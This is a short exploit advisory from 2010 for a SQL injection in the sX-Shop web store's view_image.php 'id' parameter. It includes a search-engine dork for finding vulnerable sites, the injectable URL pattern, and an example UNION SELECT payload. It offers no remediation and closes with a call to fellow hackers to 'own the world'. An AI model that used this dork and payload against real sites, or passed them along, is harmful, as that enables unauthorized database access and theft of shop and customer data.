sX-Shop – ‘view_image.php’ SQL Injection
############################################################################################################# ## sX-Shop / view_image.php SQL Injection ## ## Author : secret - mohammed.atta@hotmail.com ## ## Homepage : http://swissfaking.net/ ## ## Date : 05 August, 2010 ## ############################################################################################################# ____ ____ _____ ___ ____ ______ ____ ___ ___ _ __ / __// __// ___// _ \ / __//_ __/ / _// _ \ / _ | / |/ / _\ \ / _/ / /__ / , _// _/ / / _/ / / , _// __ | / / /___//___/ \___//_/|_|/___/ /_/____/___//_/|_|/_/ |_|/_/|_/ /___/ #################################################### # sX-Shop / view_image.php SQL Injection #################################################### # Discovered by : secret # Site : http://swissfaking.net/ # Dork : powered by sX-Shop ; inurl:"view_image.php" intext:sX-Shop # Vendor : http://www.source-worx.de/ # Version : *newest version* # Exploit : [site]/shop/view_image.php?id=[SQL Injection] # Tested on : XP - Linux e.g. http://www.site.com/shop/view_image.php?id=416+and+1=0+Union+Select(UNEXVISIBLECOLUMN)+2+3 ######################################################################################## #note : IRAN owns ;-) - to all iranian Hackers in the world, add me and let's own the world ;) |